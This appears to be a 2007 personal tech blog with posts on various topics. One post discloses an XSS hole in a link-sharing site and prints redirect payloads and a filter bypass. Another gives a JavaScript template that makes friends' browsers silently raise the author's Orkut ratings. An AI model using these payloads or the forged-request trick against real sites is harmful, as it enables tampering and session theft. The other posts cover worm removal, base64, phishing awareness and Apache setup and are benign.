Wednesday, January 24, 2007

XSS on

Recently while grazing over the net, I found this site This is a site which keeps a database of good websites found on the net by netizens.

But there is an XSS hole (Cross site scripting ) on the site which allow users to redirect the page to any desired location.

Of course this hack does not work on the secure browser Mozilla Firefox. If you are not using Firefox, download for free (The link is given bottom right).

Probably you arrived at this page from if you are using Microsoft Internet Explorer!

So how did it work? allows <IMG tag with the src attribute.

<img src="javascript:window.location=''" /> Fixed (No longer works)
<img src="javascript:location=''" /> Fixed (No longer works)

is all we have to post to get redirected.

Level 2
So the grazeit admins have modified the filter to take care of the above 2 methods. But still the filter isn't good enough for :
<img src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&
&#40;&#39;&#88;&#83;&#83;&#39;&#41;&gt; />

<script src="URL" />fixed

GET Cross site Scripting holes'hi')%3C/script%3E&FilterTagID=1325

to administrators
Great work guys. But please remove this serious security vulnerability as it can be used for more than redirection. It can be used to deface, steal user sessions etc.
Thank you for making

How to remove this vulnerablilty?
To remove this vulnerablity you have to strengthen the filters.
To do this, the src tag must be stripped off unacceptable characters or these special characters must be encoded such that the URL would remain the same, but it would not be rendered by the browser as a script.

Happy surfing...

Tuesday, January 23, 2007

Increasing the karma ratings on Orkut

Trace Back
Followed from : Making more fans on Orkut

Continued ...
"[friends id here]/[your id here]"
Eg: " cat=0&val=1&gid=FRUS00000000000/US00123456789"

The above illustrates the page you have to make your friend to access to make he/she your fan.

The same can be modified to increase (can decrease also) your cool, sexy and trusty karma ratings. The cat=0 in the URL specifies the fan function.

cat=1 : stands for trusty rating.
cat=2 : stands for cool rating.
cat=3 : stands for sexy rating.

The next GET parameter val=1 has to be modified as :
val = 0: for 0 rating
val = 1: for 1
val = 2: for 2
val = 3: for full rating.

So our final URL for full trusty rating is :
"[friends id here]/[your id here]"
Eg: " cat=1&val=3&gid=FRUS00000000000/US00123456789"

for Cool rating :
"[friends id here]/[your id here]"
Eg: " cat=2&val=3&gid=FRUS00000000000/US00123456789"

for Sexy rating :
"[friends id here]/[your id here]"
Eg: " cat=3&val=3&gid=FRUS00000000000/US00123456789"

When you are giving all these three in the same page, the 3 get requests must not be sent to the server together. Leave a time delay of about 100ms between each of the GET requests.
You can accomplish this in javascript by the following this template:

function fn(index)
var links=new Array("Link 1 for cool/trusty/sexy/fan", "etc fill in");
var i= new Image();
i.src = links[index];
if(index != Count)
window.location = "Somewhere"; //Redirect to a nice page.

Hope this works for you ....

Did it work ?
Please leave a feedback or comment about other problems you faced ...
Keep orkutting ....

Thursday, January 18, 2007


This is the log of the war against the worm.

How did the enemy get it ?
It came along a couple of folders which was copied from a pen drive. It had the same folder name and looked exactly like a windows folder. In a hurry double clicked it, and the war began...

Battle 1: End Task
I immediately realized it was a virus because it opened the My Documents folder, which was unusual. Then soon I pressed Ctrl + Alt + Del to end task the program. But the battle was won by the virus, it restarted the computer ! But I got the exe name "eksplorasi.exe".

Battle 2: Regedit
In an effort to save my system, after rebooting tried to run the "regedit" registry editor where most viruses register in the


to start when the computer starts. But I failed in the battle again. It has disabled the registery editor.

Battle 3:Safe mode
In the next battle, I rebooted the computer in safe mode (F8 before booting in the OS choice menu and selecting Safe mode). Failed again, virus is as active in safe mode as in normal mode.

Battle 4:Rebooted into Win98
In the next battle booted into windows 98. Searched the entire windows drive for the file "eksplorasi.exe" found 1 in %Windows Directory%\. Deleted it! Next I searched for the entire windows directory for exe's that had the folder as the icon. Amazed by the number of copies it has already produced. Almost another 12-14 copies in various folders. Deleted them all .. Battle won! The enemies where shot down but the consequences remain...

Battle 5:Looked for allies from Google

Found some information.
Searched for eksplorasi.exe manual removal


Battle 6: Capturing back the regedit
Capturing back the regedit was exciting. As hinted by an ally, the regedit was disabled by the following registry entry.
DisableRegistryTools = "dword:00000001"

By their advice I tried making a reg file that removed this entry. But I failed that battle too.

Battle 7: My own registry editor
Made up a quick registry editor that replaced the registry values to enable the registry again. And it was a success. Captured back the registry from the enemies.
Again from the advice of my ally, all deformations in the registry where restored to the previous state.

Download my registry enabler.

War won
Hurray the war was won by me.
Won a battle? let me know.

Information Allies Missed
+ The virus was present in the System_restore files.
+ Making reg files did not work as registry was disabled.
+ Group Policy gpedit.msc is disabled.

Monday, January 15, 2007

Firefox Browser within Browser

Browser within Browser ?

This effect is only for Mozilla Firefox. Paste
into your address bar and press Enter.

What? How?
All interfaces on firefox are made on XUL's. The browser window you see is browser.xul, accessing that simply displays the browser window again as the content.

Quoted from

XUL is an XML grammar that provides user interface widgets like buttons, menus, toolbars, trees etc. User actions are bound to functionality using JavaScript.

To extend the browser, we modify parts of the browser UI by adding or modifying widgets. We add widgets by inserting new XUL DOM elements into the browser window, and modify them by using script and attaching event handlers.

Have fun making tabs within tabs within tabs ......

Did not work?
Did not work ? What happened ? Lemme know ...

Feel free to leave a comment ...

Saturday, January 13, 2007

Making any Window Transparent on XP

This little piece of code written in VB6 allows you to make any window transparent.
Make Firefox, Opera, Internet Explorer, Windows Media Player, Google Talk, Yahoo Messenger, Windows Explorer, basically any window, transparent on Windows XP.

*Transparent Opera

+Zipped binary for Windows XP from here Transp.ZIP [5 KB]
+Source code from planet-source-code


  • Run the Program

  • Place the mouse over the title bar of the window which you want to make transparent.

  • Now leaving the mouse in the title bar, press the Ctrl button (Normally on the lower right side of the keyboard), now you can see the window name shown in the software.

  • Now press the "Set Transparent" Button

  • Adjust the Transparency Slider to the required transparency. (Dont set below 100 you will loose sight of the window)

  • Press the "Set Opaque" Button to make the window opaque again

  • To do for another window repeat the same steps.


Const GWL_EXSTYLE = -20
Const WS_EX_LAYERED = &H80000
Const GWL_STYLE = (-16)
Const WS_VISIBLE = &H10000000
Const LWA_ALPHA = &H2

Private Declare Function WindowFromPoint Lib "user32" (ByVal xPoint As Long, ByVal yPoint As Long) As Long
Private Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Option Explicit

Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Declare Function SetLayeredWindowAttributes Lib "user32" (ByVal hwnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long


Private Type POINTAPI
x As Long
y As Long
End Type

Public xhwnd As Long

Private Sub Command1_Click()
SetLayeredWindowAttributes xhwnd, 0, Slider1.Value, LWA_ALPHA
End Sub

Private Sub Command2_Click()
SetWindowLong xhwnd, GWL_EXSTYLE, 0
End Sub

Private Sub Label2_Click()
ShellExecute Me.hwnd, "", "", "", "", 1
End Sub

Private Sub Slider1_Change()
SetLayeredWindowAttributes xhwnd, 0, Slider1.Value, LWA_ALPHA 'Change the transparency level
End Sub

Private Sub Timer1_Timer()
Dim retStr As String * 80

If GetAsyncKeyState(vbKeyControl) Then
Call GetCursorPos&(xy)
xhwnd = WindowFromPoint(xy.x, xy.y)
Call GetWindowText(xhwnd, retStr, 100)
If xhwnd = Me.hwnd Then 'Protect self from being transparent
Label1.Caption = "Making me transparent is not good!"
xhwnd = 0
Label1.Caption = retStr & " " & xy.x & " " & xy.y & " " & xhwnd
End If
End If
End Sub

Anything else?
Lemme know ...leave a comment.

Thursday, January 11, 2007

Base 64 Encoding

Base 64 encoding is a method used in email systems. The email systems that where developed back in the time of Arpanet, where designed to support only Letters (A-Z,a-z) , Numbers (0-9) and some limited puncutation marks. So inorder to transfer files which can contain more than characters and digits (for eg,a picture.jpg file), Base 64 Encoding is used.

The Encoding
Base 64 encoding, as the name suggests, has 64 different characters to represent all the 255 characters in the ASCII code. 64 different characters implies 6 bits as the word length. (no: of bits to represent a character)(2^6=64). So the encoding method is to group the binary data in groups of 6 bits.


Now the grouped 6 bits words are represented by letters, digits and punctuations. A table is defined to denote the mappings of the bit pattern to a corresponding character. Here is a sample of base64 encoding:


which stands for This is an example of base64 encoding.
You can find out more about this on google


Google Cookie
Base64 encoding is used in more than email systems, it is used in URL encoding of binary data. Those using google mail will have seen a stream of letters on their address bar. This base64 encoding of data. Google cookie or in short Gookie also use Base64 encoding to store data. The SID is a base64 encoding.

Similarly Orkut cookie structure is as follows:

INF=0:SET=:LNG=1:CNT=91:RM=0:USR=[Base64 of your email]:

Have more information on this? Leave a comment...

PHP Code/Functions
PHP base64 functions are :
  $ret = base64_encode($str);
  $ret = base64_decode($str);

Friday, January 5, 2007

Protect yourselves from phishing

Phishing? Haven't heard that...

Phishing is very similar to fishing. In fishing, we put a bait and wait for the fish to catch it. In Phishing, a fraudsters acting as a genuine bank employee or web admin, sents you an email (the bait) asking for confidential and personal data, that could potentially harm you (Its not nice to see your savings balance to drop to ZERO, right?)
Fraudsters are getting smarter and equipping with techniques that almost fool you. So now its our turn to get smart and fight back.

Common methods of phishing

Most phishing scams start from fake e-mails that arise from compromised mail servers across the world, or from zombie computers called botnets. Phishing mails will be asking for confidential data like PIN numbers, Bank account id and passwords, or anything personal. There would be some links in the mail that redirects to some compromised server, which would be very similar to the legitimate site.
Another common scam is someone asking for your bank account details to help them transfer money, and you will get a fair share of it.
Or you have won a big sum of money in some lottery in some unknown place, and you have to provide the bank account details to get the money.

If you fall for these scams, most probably you will loose everything you have.

How to get smart?

Phishing is mostly successful because of ignorance from the part of customers and the thought of making easy money. So its time to get smart!
Phishing mails
+ are mass mailed, So...
+ It would not contain your name
+ It would not contain any personal info about you that was provided to the legitimate organization.
+ It would not have a valid source. If your email client can display advanced headers, please go through the headers if you suspect of a phishing scam.
+ It may contain grammatical as well as spelling mistakes.

Now even if it contains your name and free from mistakes still you cannot rule out the phishing scenario.

Take a part of the phishing message and do a Web search on it using popular search engines like google, yahoo. From the search results you can identify wether it is scam or original.
In most cases, no banks will never ask you to enter your PIN or similar sensitive data through mails.
You can also mail the legitimate organization for a confirmation on the email.

Still you think its legitimate?

There will be a link in the email where you are supposed to enter the confidential data. Before clicking take a good look at the url. Most browsers show the target url on the status bar (bottom of the page), Is it the url ?
Copy the link address and paste it to a new text file and examine it from head to tail. Do a google search for the site, if anything related to phishing comes up...
One old phishing technique was to mask the target server using the

So the fraudster would mask his url as

Now this technique has depricated since most browsers warn you.
Latest browsers like Firefox 2, Opera 9 and IE 7 also report about phishing when you are about to visit a phishing site. So upgrade your browser today.

A new technique that may not be yet known is the use of mirroring character to reverse the link, so that it appears legitimate.
But in this technique to the original link appears in the status bar or copy the link location and pasting shows you the original target url.

For webmasters and server administrators

Most spams and phishing scams originate from compromised sites due to poor design.
One experience I had is with a feedback form on a site which mails the feedbacks to me. Now some spammer creatively modified the feedback text so that the mail was sent to many!. Now thats a security risk!
So we must be careful when designing such systems, what I did was to replace the @ symbols in the feedback form with "(at)". Now that has stopped the spams from getting through to others.

Another poor design comes when there is XSS (Cross Site Scripting holes) vulnerabities in your site. A fraud/hacker can manipulate the site and put fake login pages on your server. So all XSS vulnerabilities must be scanned and removed.


+ Intro to XSS
+ Mirroring character
+ Protect yourselves from Phishing

Spread the word

Please spread the info to help protect yourselves and those near and dear from this peril !
Any more info to share? Leave a comment...

Thursday, January 4, 2007

Making subdomains on localhost

Developing websites on localhost may sometimes need making of sub domains. Installing and running another server for this purpose is useless, consumes more resources etc. So here is the technique to make sub domains on localhost.

You can also use this to host more than one site on localhost. i.e, you can host multiple sites situated on different folders.

PS: This is for Apache-Windows configuration. (If you have info about other Server-OS configs please let me know.)


First decide on the subdomain names...
for eg:
sub.localhost, sub2.localhost, alt.localhost , images.localhost etc..
You can also name (Please note that if there is a site with that name on the net, you wont be able to access that site on the internet.)

Second making these sites to point to, for this you can edit the HOSTS file on windows. See this about the HOSTS file.

Now add to HOSTS line hostname
Egs: sub.localhost sub1.localhost sub2.localhost images.localhost

Next we have to assign each of these different URL's to different folders.
This is done on the apache conf file. (httpd.conf file situated in apache\conf\ directory)

Scroll all the way down the httpd.conf file until you reach about Virtual Hosts.

NameVirtualHost *:80 #(This line was commented before)

<VirtualHost *:80>
ServerName subdomain name.localhost OR
DocumentRoot Path to the server root, See examples.
DirectoryIndex index.php index.html index.html index.htm index.shtml


<VirtualHost *:80>
ServerName sub.localhost
DocumentRoot "C:/public_html/sub"
DirectoryIndex index.php index.html index.html index.htm index.shtml

<VirtualHost *:80>
ServerName images.localhost
DocumentRoot "C:/public_html/images"
DirectoryIndex index.php index.html index.html index.htm index.shtml

<VirtualHost *:80>
DocumentRoot "C:/public_html/site"
DirectoryIndex index.php index.html index.html index.htm index.shtml

Test the configurations (using apache -t)
All done!
Hope it worked for you ...
Feel free to leave a comment....

Tuesday, January 2, 2007

Extracting embedded Album art in mp3

Update: The download file url no longer works. There should be a better way out there. This post is outdated

This command line tool extracts embedded album art pictures from mp3's. It extracts only album art that is within the mp3 file. External album arts need not be extracted as they are plain files and can be seen in respective folders, by unchecking the "Hide protected operating system files" in view Tab in Folder Options in Windows XP.
(Tools > Folder Options > View Tab)

Download as zip (38.3 KB)
(I Assert that it is not a virus, still scared? wait for the C++ source code)

This command line application extracts embedded album art that is stored on mp3's.
To run command line apps, RUN cmd OR take the command prompt, move to the directory where the exe is located and ...
Usage :

getid3v2 filename

Example :

D:\ID3V2>getid3pics songs\tere.mp3
Searching for Album art on songs\tere.mp3 ...
Embedded Album art found
Extracting ...
Enter a filename for Art[1] (No need extension): 1

Image Type : jpg
Extracted to 1.jpg

Embedded Album art found
Extracting ...
Enter a filename for Art[2] (No need extension): 2

Image Type : jpeg
Extracted to 2.jpeg



Source code will be made available soon ... have to do some tidying up ...
Meanwhile any problems? jst leave a comment ...

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